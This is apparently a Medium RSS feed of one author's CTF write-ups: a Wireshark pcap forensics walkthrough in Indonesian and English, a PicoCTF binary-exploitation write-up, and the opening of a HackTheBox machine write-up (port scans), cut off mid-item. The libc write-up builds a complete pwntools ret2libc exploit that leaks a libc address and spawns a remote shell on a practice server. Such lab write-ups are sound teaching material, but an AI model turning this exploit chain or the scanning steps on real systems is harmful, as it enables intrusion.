<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by RenXIII on Medium]]></title>
        <description><![CDATA[Stories by RenXIII on Medium]]></description>
        <link>https://medium.com/@darrenleonard777?source=rss-7771183aabbe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*3mgmTQYXhHbD5f1q</url>
            <title>Stories by RenXIII on Medium</title>
            <link>https://medium.com/@darrenleonard777?source=rss-7771183aabbe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 13:10:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@darrenleonard777/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WriteUp PicoCTF — Shark On Wire 1 (ID)]]></title>
            <link>https://medium.com/@darrenleonard777/writeup-picoctf-shark-on-wire-1-id-e76489e248f5?source=rss-7771183aabbe------2</link>
            <guid isPermaLink="false">https://medium.com/p/e76489e248f5</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[RenXIII]]></dc:creator>
            <pubDate>Sat, 30 Nov 2024 08:31:03 GMT</pubDate>
            <atom:updated>2024-11-30T08:31:03.319Z</atom:updated>
            <content:encoded><![CDATA[<h3>WriteUp PicoCTF — Shark On Wire 1 (ID)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*ZVvzEwpHyPUkv_tB.png" /></figure><p>Di dalam challenge PicoCTF — Shark On Wire 1, kita ditugaskan untuk mendapatkan flag dari <strong>packet capture</strong> file yang sudah disediakan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/140/0*WSo-yMeioVvUxtHp.png" /></figure><p>File yang sudah didownload memiliki ektensi .pcap, dimana kita bisa membuka file tersebut dalam tool seperti <strong>Wireshark </strong>untuk melihat informasi paket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*F-hswkW61DcN-QQV.png" /></figure><p>Setelah membuka file tersebut dalam Wireshark, kita bisa melihat bahwa banyak informasi dari paket-paket yang kita perlu analisis. Pertama, saya melihat bahwa ada paket dengan protokol TCP dimana paket dengan protokol TCP biasanya paket yang mempunyai konten menarik. (Paket protokol UDP juga sering kita lihat juga).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*hWdW4pMgp6hJIBfV.png" /></figure><p>Saya lanjut dengan meng-<em>follow </em>paket tersebut untuk melihat informasi apa yang ada di dalam paket tersebut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*W4ZG8ChnKCvrEiAt.png" /></figure><p>Sayangnya tidak ada informasi yang ditampilkan, jadi saya mengubah Stream untuk melihat apakah ada informasi di dalam Stream laiannya. Di dalam 10 Stream tersebut tidak ada satupun yang memunculkan informasi. Saya melanjutkan dengan membuka paket dengan protokol UDP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*a8US5q8-eoQrTCX9.png" /></figure><p>Sama seperti yang saya lakukan pada paket protokol TCP, saya <em>follow</em> paket UDP untuk melihat apakah ada informasi yang bisa ditampilkan kepada kita.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*4i9fuEJygwX8uVUC.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*7JUxdfr6jpNRlijl.png" /></figure><p>Hasilnya adalah kata-kata aneh dan tidak ada indikasi bahwa kata-kata tersebut ter-enkripsi, jadi saya tinggalkan terlebih dahulu dan melihat informasi pada Stream yang lain.</p><p>Dari 288 Stream yang sudah saya lihat, ada 2 Stream dengan picoCTF{flag} format di dalam Stream tersebut. Stream pertama yang muncul dengan format flag adalah di Stream 6 dimana Stream 6 menampilkan informasi sebagai berikut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*23oyyXtmao-4Rl9s.png" /><figcaption>*iya, ini merupakan jawaban flag dari challenge ini</figcaption></figure><p>Stream kedua yang memunculkan informasi dengan format flag adalah Stream 7, dimana Stream 7 sendiri memunculkan informasi sebagai berikut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*xyV3bJlNhDypSBkJ.png" /></figure><p>Flag di dalam Stream 7 tidak tampak seperti jawaban flag sesesungguhnya. tapi kita tetap akan mencoba dengan memasukkan jawaban tersebut di dalam challenge PicoCTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/0*NEwbaRZPbHRwxvJA.png" /></figure><p>Seperti dugaan saya, jawaban flag tersebut tidak benar. Sekarang kita akan mencoba memasukkan jawaban flag dari Stream 6.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*beySRgmC-K0jGZLn.png" /></figure><p>SELAMAT! Flag dari Stream 6 merupakan jawaban dari challenge PicoCTF kali ini!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e76489e248f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WriteUp PicoCTF — Shark On Wire 1 (EN)]]></title>
            <link>https://medium.com/@darrenleonard777/writeup-picoctf-shark-on-wire-1-en-37fed28d30ee?source=rss-7771183aabbe------2</link>
            <guid isPermaLink="false">https://medium.com/p/37fed28d30ee</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[RenXIII]]></dc:creator>
            <pubDate>Sat, 30 Nov 2024 08:13:37 GMT</pubDate>
            <atom:updated>2024-11-30T08:23:32.668Z</atom:updated>
            <content:encoded><![CDATA[<h3>WriteUp PicoCTF — Shark On Wire 1 (EN)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*TXPHYzVjcMDIklIV09Hmww.png" /></figure><p>In the PicoCTF — Shark On Wire 1 challenge, we are tasked to obtain the flag from a packet capture file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/140/1*D4r2NERbDKSBAmbIfAO3SA.png" /></figure><p>The downloaded file is a .pcap extension file, which means that we can look at the packet information using tools like <strong>Wireshark</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sXLNUgehaM26maNpNTWDCQ.png" /></figure><p>Opening the file in Wireshark, we can see that there are indeed information about packets we need to analyze. At first I see there is a TCP protocols as they were usually the ones that we are interested in. (UDP protocols are also what we often look into as well).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q5lkWLLCqSxFJkPW9p3M7g.png" /></figure><p>Instinctively I look for the first TCP protocol packet I see and follow the TCP Stream to see what information lies in the packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itDihyP-D_C3p6LVM50C3g.png" /></figure><p>Sadly, there is nothing shown, so I switched Streams to look for any information in any other Streams. In all the 10 Streams, nothing was shown, so I head over back to examine the next TCP packets. After examining the other TCP packets, nothing came out and I move on to examine UDP protocol packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N5N7JoBGzr3KCB45w7CEbg.png" /></figure><p>Same as what I did on TCP protocol, I followed the UDP packet and look for any information it can show us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hMldOxuAKzDDPZx3ZASrPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90PkZfoBb2AM0cHHljTw3Q.png" /></figure><p>The result is a bunch of letters and words that was weird and doesn’t look like it was encrypted or something, so I leave it first and move on to looking at other Streams.</p><p>From the 288 Streams that I looked through, there are 2 picoCTF{flag} formats in the information. The first one is on Stream 6 which shows the following information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_dntkAX6YCWchOVwAtFlRw.png" /><figcaption>*foreshadowing, yes, it’s the flag answer</figcaption></figure><p>The second one is on Stream 7 which shows the following information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*uRqkbTyNlPo6XRjMmOsGBw.png" /></figure><p>The flag on Stream 7 definitely not looks like the <strong>real </strong>flag, but we gonna try putting it in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*6OQoIqkPheDNcLB2Qhpd7A.png" /></figure><p>As expected, it was not the correct flag. Now we will try with the flag from Stream 6.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*3tFZbBXJhGZC-c_92_eRRg.png" /></figure><p>Congratzz! The flag on Stream 6 was the <strong>real</strong> flag and the challenge is solved!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37fed28d30ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WriteUp PicoCTF — Here’s A LIBC]]></title>
            <link>https://medium.com/@darrenleonard777/writeup-picoctf-heres-a-libc-5ddda68a5d14?source=rss-7771183aabbe------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ddda68a5d14</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[RenXIII]]></dc:creator>
            <pubDate>Tue, 26 Nov 2024 16:22:56 GMT</pubDate>
            <atom:updated>2024-11-26T16:22:56.881Z</atom:updated>
            <content:encoded><![CDATA[<h3>WriteUp PicoCTF — Here’s A LIBC</h3><p>In the PicoCTF — Here’s A LIBC challenge, download the three files from each links provided.</p><h4>Prologue</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*PgKL90gyZ_TOq3x33vyKag.png" /></figure><p>These files will then be used to get the flag from the ip address and port provided.</p><h4>Disassembling &amp; Finding Address</h4><p>I use a tool called pwninit (<a href="https://github.com/io12/pwninit">https://github.com/io12/pwninit</a>) to help me generate the solve.py and modifies how the binary works when working with dynamic libraries such as local libc.</p><p>Then, run this command so that pwninit will handle linking the dynamic libraries and create a solve.py template for the exploit to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*J0YzaaeXOW-Bey7965-K8g.png" /></figure><p>The result should be something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*Vfmwi1YbZA1kJTFkQp2nDw.png" /></figure><p>Once pwninit finishes the process, we can now try to analyze the <strong>vuln</strong> file by using a disassembler. I use ghidra to disassemble and analyze the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*5XmVzTqKawxaCFJqAtF00Q.png" /></figure><p>From the lists of functions, we can see that there is a <strong>main</strong> and <strong>do_stuff</strong> function which we should analyze further. In the <strong>main</strong>, we can see that there is a <strong>for loop</strong> function that calls <strong>convert_case</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*2AF-4KSRpvgMI3wLIIJ9Gw.png" /></figure><p>In the <strong>convert_case</strong> function, it converts characters from uppercase to lowercase and vice versa. We should skip this part first as this doesn’t help much on solving the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*_J7No478MbPVOiukMRE_9Q.png" /></figure><p>Back in the <strong>main</strong> function, there is a do loop file looping infinitely calling <strong>do_stuff</strong>() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*evZQbnWJW02iWwd-TsD2aQ.png" /></figure><p>In the <strong>do_stuff</strong> function, we can see that it uses <strong>scanf</strong> to read characters and the puts the characters into a <strong>puts</strong>() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*cF4omplVDqVverRZn0rGsA.png" /></figure><p>From this, the idea I have is to change the return destination to the <strong>puts</strong>() function and by using <strong>puts</strong> to display the leaked memory. We read the disassembled <strong>do_stuff</strong> function and look that the <strong>local88</strong> is saved into <strong>RBP + -0X80</strong>. Which is RBP value + 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vSLFe1FSpVkBIT1nVUGQ3Q.png" /></figure><p>We then edit the <strong>solve.py</strong> to add 80 characters as the offset with the addition of 8 bytes to offset RBP.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*Ul-hwWr4Hp63L2lHRkIDwg.png" /></figure><p>From the disassembled <strong>do_stuff</strong> function, we then look at <strong>RDI</strong> (which is the register to save a function parameter), we then proceed to use <strong>ROPgadget</strong> to find the value of <strong>RDI</strong> (0x400913).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*1SWatPqdtXp4vp8ht4N8eg.png" /></figure><p>Now we add the payload to where it looks like this. (set it to bytes so that it will not show error when running the code).</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>overflow1 += p64(0x400913) # pop_rdi_ret addr</pre><p>After we <strong>pop_rdi_ret</strong>, we now need to find a way to find <strong>puts</strong> function address which we will be use later to print the <strong>puts function address in GOT</strong>. Looking at the <strong>&lt;EXTERNAL&gt;::puts</strong>, we found the <strong>puts function in GOT </strong>(0x601018). We also found that the puts function address (0x400540).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5Ion-FHuVFxbwqrP9qnwPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*-8mQquu4KP3iBZySxbGlWQ.png" /><figcaption>puts() GOT address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*koiyEOijaAvHRDXlOC1_Ig.png" /><figcaption>puts() address</figcaption></figure><p>Now we need to call the <strong>puts</strong> function to print the <strong>puts function address in GOT</strong> which we can do by adding some lines of code into the payload.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>overflow1 += p64(0x400913) # pop_rdi_ret addr<br>overflow1 += p64(0x601018) # addr puts() in GOT<br>overflow1 += p64(0x400540) # addr puts()</pre><p>Now, we want to call <strong>do_stuff</strong> function again to exploit it more than once. We will find the <strong>do_stuff</strong> function address (0x4006d8) on the disassembled program in Ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*kWkdCZGRDIMCmWDPSEcttw.png" /></figure><p>We will add that to the payload and then send the payload. Don’t forget to state the ip address for the payload to attack.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>overflow1 += p64(0x400913) # pop_rdi_ret addr<br>overflow1 += p64(0x601018) # addr puts() in GOT<br>overflow1 += p64(0x400540) # addr puts()<br>overflow1 += p64(0x4006d8) # addr do_stuff<br>r.sendline(overflow1)</pre><p>We will see an error when we run the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*N7mZer9i_fTddSuFpYG_VA.png" /></figure><p>This is because the server does something first before we can inject the payload. So, we check what the server do first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*3ibqo-c2xdoxetIN4qiXHA.png" /></figure><p>The server sends a print saying “WeLc0mE T0 mY EcHo sErVeR!”. This is why the script doesn’t work first. To fix this we need to make some adjustments to the script.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>overflow1 += p64(0x400913) # pop_rdi_ret addr<br>overflow1 += p64(0x601018) # addr puts() in GOT<br>overflow1 += p64(0x400540) # addr puts()<br>overflow1 += p64(0x4006d8) # addr do_stuff<br>r.sendline(overflow1)</pre><p>With these adjustments, we can now see that the server will not show any more errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*vDHJYkqLX5_cScfD28dbRQ.png" /></figure><p>Now, we want to see what we had done in the server by overflowing the stacks.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>overflow1 += p64(0x400913) # pop_rdi_ret addr<br>overflow1 += p64(0x601018) # addr puts() in GOT<br>overflow1 += p64(0x400540) # addr puts()<br>overflow1 += p64(0x4006d8) # addr do_stuff<br>r.sendline(overflow1)<br><br>print(r.recvline())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NceZXB3MxlrO0jOTNVgV9g.png" /></figure><p>The result shows that we have filled the stacks with the payload and there’s a ‘\n’ which we want to delete.</p><pre>print(r.recvline().rstrip())<br># This deletes the &#39;/n&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*gTzXGYakgqx-XjH7JfVhJA.png" /></figure><p>But we want to keep the result into a variable which we can utilize later. The code would be adjusted to.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>overflow1 = b&#39;A&#39; * 80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>overflow1 += p64(0x400913) # pop_rdi_ret addr<br>overflow1 += p64(0x601018) # addr puts() in GOT<br>overflow1 += p64(0x400540) # addr puts()<br>overflow1 += p64(0x4006d8) # addr do_stuff<br>r.sendline(overflow1)<br><br>print(r.recvline())<br>result = r.recvline()<br>result = result.rstrip()</pre><p>Now, we want to look at the <strong>leaked real address</strong> of puts in <strong>libc</strong>. We modify the script again to show the <strong>leaked address</strong>. We also will put all of the payload into a function for better reading.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>elf = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>def leak():<br>        overflow1 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>        overflow1 += p64(0x400913) # pop_rdi_ret addr<br>        overflow1 += p64(0x601018) # addr puts() in GOT<br>        overflow1 += p64(0x400540) # addr puts()<br>        overflow1 += p64(0x4006d8) # addr do_stuff<br>        r.sendline(overflow1)<br><br>        print(r.recvline())  <br>        result = r.recvline()   <br>        result = result.rstrip()<br><br>        # print leaked memory and set ending bytes to 0<br>        leaked_memory = u64(result + (8 - len(result)) * b&quot;\x00&quot;)<br>        print(f&quot;leaked memory: {(leaked_memory)}&quot;)<br>         <br>        return leaked_memory</pre><p>Sanity check 101 (don’t leave yet):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oXgtKmZcnNdqg1RImIwL_w.png" /></figure><h4>DynELF (Failed)</h4><p>I tried using DynELF to get the dynamic puts libc address. But the result of DynELF is the puts static address (0x400540) which we found in Ghidra already.</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>elf = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>def leak(address):<br>        overflow1 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>        overflow1 += p64(0x400913) # pop_rdi_ret addr<br>        overflow1 += p64(address) # addr puts() in GOT<br>        overflow1 += p64(0x400540) # addr puts()<br>        overflow1 += p64(0x4006d8) # addr do_stuff<br>        r.sendline(overflow1)<br><br>        print(r.recvline())<br>        result = r.recvline()<br>        result = result.rstrip()<br><br>        # print leaked memory and set ending bytes to 0<br>        leaked_memory = result + (8 - len(result)) * b&quot;\x00&quot;<br>        print(f&quot;leaked memory: {(leaked_memory)}&quot;)<br>        <br>        return leaked_memory<br><br>d=DynELF(leak, elf=elf)<br>system_addr = d.lookup(&#39;puts&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xqNG8GgUi3T_KEmGo8xpow.png" /></figure><h4>Getting the FLAG! 🚩</h4><p>Alright, now we got the leaked libc address! Let’s move on to exploiting to get the Shell.</p><p>We need to find the base address of libc library (0x80a30) so that we can get the <strong>system</strong> and <strong>binsh</strong> to get Shell.</p><pre>objdump -D libc.so.6 | grep _puts.*:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*9fC3ZrIqu6I_9L_mUDD8KA.png" /></figure><p>To get the system libc function address (0x4f4e0), we can use the following command to find it:</p><pre>objdump -D libc.so.6 | grep system.*:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*vJ7Or2V9-VE5uwa8CIqt3Q.png" /></figure><p>To get the binsh, we can use the following command which searches the “/bin/sh” in libc.</p><pre>binsh = libc_base + next(libc.search(b&quot;/bin/sh&quot;))</pre><p>The script now should be like this:</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>elf = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>def leak():<br>        overflow1 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>        overflow1 += p64(0x400913) # pop_rdi_ret addr<br>        overflow1 += p64(0x601018) # addr puts() in GOT<br>        overflow1 += p64(0x400540) # addr puts()<br>        overflow1 += p64(0x4006d8) # addr do_stuff<br>        r.sendline(overflow1)<br><br>        print(r.recvline())  <br>        result = r.recvline()   <br>        result = result.rstrip()<br><br>        # print leaked memory and set ending bytes to 0<br>        leaked_memory = u64(result + (8 - len(result)) * b&quot;\x00&quot;)<br>        print(f&quot;leaked memory: {(leaked_memory)}&quot;)<br>         <br>        return leaked_memory<br><br># finding libc library base address<br>libc_base =  leak() - 0x80a30<br>system = libc_base + 0x4f4e0<br>binsh = libc_base + next(libc.search(b&quot;/bin/sh&quot;))</pre><p>Now, we shall get the Shell by creating another overflow script to overflow the system again.</p><pre>overflow2 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot;<br>overflow2 += p64(0x400913) # pop_rdi_ret addr<br>overflow2 += p64(binsh)<br>overflow2 += p64(system)<br>r.sendline(overflow2)<br>r.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kbi5rxAOqYKmQFgdr_NaqA.png" /></figure><p>Hm, there is an error of “Got EOF while reading in intractive” and it seems the Shell is broken. After doing some research and asking my peers, I found out that the problem lies in the stack alignment. Because after we change the stacks, the base pointer of the stack becomes overwritten and we have to align the stacks again. To fix this, we can need to find the return address from the program.</p><p>We can look for the return address (0x40052e) by using the following command:</p><pre>ROPgadget --binary vuln | grep ret</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*OQkqC4Ga9CWO2_beVFGymg.png" /></figure><p>Sweet! Now we can fix the script by adding the return address into the overflow2 payload.</p><pre>overflow2 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot;<br>overflow2 += p64(0x40052e) # ret addr<br>overflow2 += p64(0x400913) # pop_rdi_ret addr<br>overflow2 += p64(binsh)<br>overflow2 += p64(system)<br>r.sendline(overflow2)<br>r.interactive()</pre><p>The final script:</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>elf = ELF(&quot;./vuln_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-2.27.so&quot;)<br><br>r = remote(&quot;mercury.picoctf.net&quot;, 23584)<br>print(r.recvuntil(&quot;sErVeR!&quot;))<br>r.recvline()<br><br>def leak():<br>        overflow1 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot; # offset 80 + RBP offset 8 bytes<br>        overflow1 += p64(0x400913) # pop_rdi_ret addr<br>        overflow1 += p64(0x601018) # addr puts() in GOT<br>        overflow1 += p64(0x400540) # addr puts()<br>        overflow1 += p64(0x4006d8) # addr do_stuff<br>        r.sendline(overflow1)<br><br>        print(r.recvline())  <br>        result = r.recvline()   <br>        result = result.rstrip()<br><br>        # print leaked memory and set ending bytes to 0<br>        leaked_memory = u64(result + (8 - len(result)) * b&quot;\x00&quot;)<br>        print(f&quot;leaked memory: {(leaked_memory)}&quot;)<br>         <br>        return leaked_memory<br><br><br># finding libc library base address<br>libc_base =  leak() - 0x80a30<br>print(&quot;in&quot;)<br>system = libc_base + 0x4f4e0<br>binsh = libc_base + next(libc.search(b&quot;/bin/sh&quot;))<br><br>overflow2 = b&#39;A&#39; * 0x80 + b&quot;OLD__RBP&quot;<br>overflow2 += p64(0x40052e) # ret addr<br>overflow2 += p64(0x400913) # pop_rdi_ret addr<br>overflow2 += p64(binsh)<br>overflow2 += p64(system)<br>r.sendline(overflow2)<br>r.interactive()</pre><p>And by running the script, we now get the full interactive Shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPHOHmuTA4Fktyq8hxXMQg.png" /></figure><p>Thanks for reading, I hope this helps to get the flag in this challenge :&gt;</p><p>Special mentions (people helped finish this challenge)</p><p><a href="https://medium.com/@andrewnicholasjansen">Andrew JayJ - Medium</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FFNIw1hR5ePs%3Fstart%3D108%26feature%3Doembed%26start%3D108&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DFNIw1hR5ePs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FFNIw1hR5ePs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6b0aadfdbcb5308ffbd1ceab6a705a36/href">https://medium.com/media/6b0aadfdbcb5308ffbd1ceab6a705a36/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ddda68a5d14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Authority]]></title>
            <link>https://medium.com/@darrenleonard777/hackthebox-authority-3cb56007ab22?source=rss-7771183aabbe------2</link>
            <guid isPermaLink="false">https://medium.com/p/3cb56007ab22</guid>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[RenXIII]]></dc:creator>
            <pubDate>Sat, 09 Dec 2023 14:24:04 GMT</pubDate>
            <atom:updated>2023-12-09T14:24:04.140Z</atom:updated>
            <content:encoded><![CDATA[<p>Machine IP: 10.10.11.222</p><p>Find all the available open ports</p><pre>rustscan -a 10.10.11.222 --ulimit 5000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*f1lrHT4kBsMcfInBtToshA.png" /></figure><pre>sudo nmap 10.10.11.222 -sS -sV -p 53,80,88,135,139,389,464,593,8443,9389 -T5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xs-KdDWr-wmIt8E5hsaDaA.png" /></figure><p>The important part from the scan is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5EFOQo5BMKcP3WqBP-I74g.png" /></figure><p>We can see port <br>- 80 is a http service, <br>-139 is a Netbios-ssn (SMB service),<br>- 389 is an ldap (Active Directory LDAP service for Microsoft Windows),<br>- 8443 is a http service also.</p><p>Next we check port 80 http which shows us a Microsoft ISS website which if you google the website you can see it.</p><figure><img alt="" 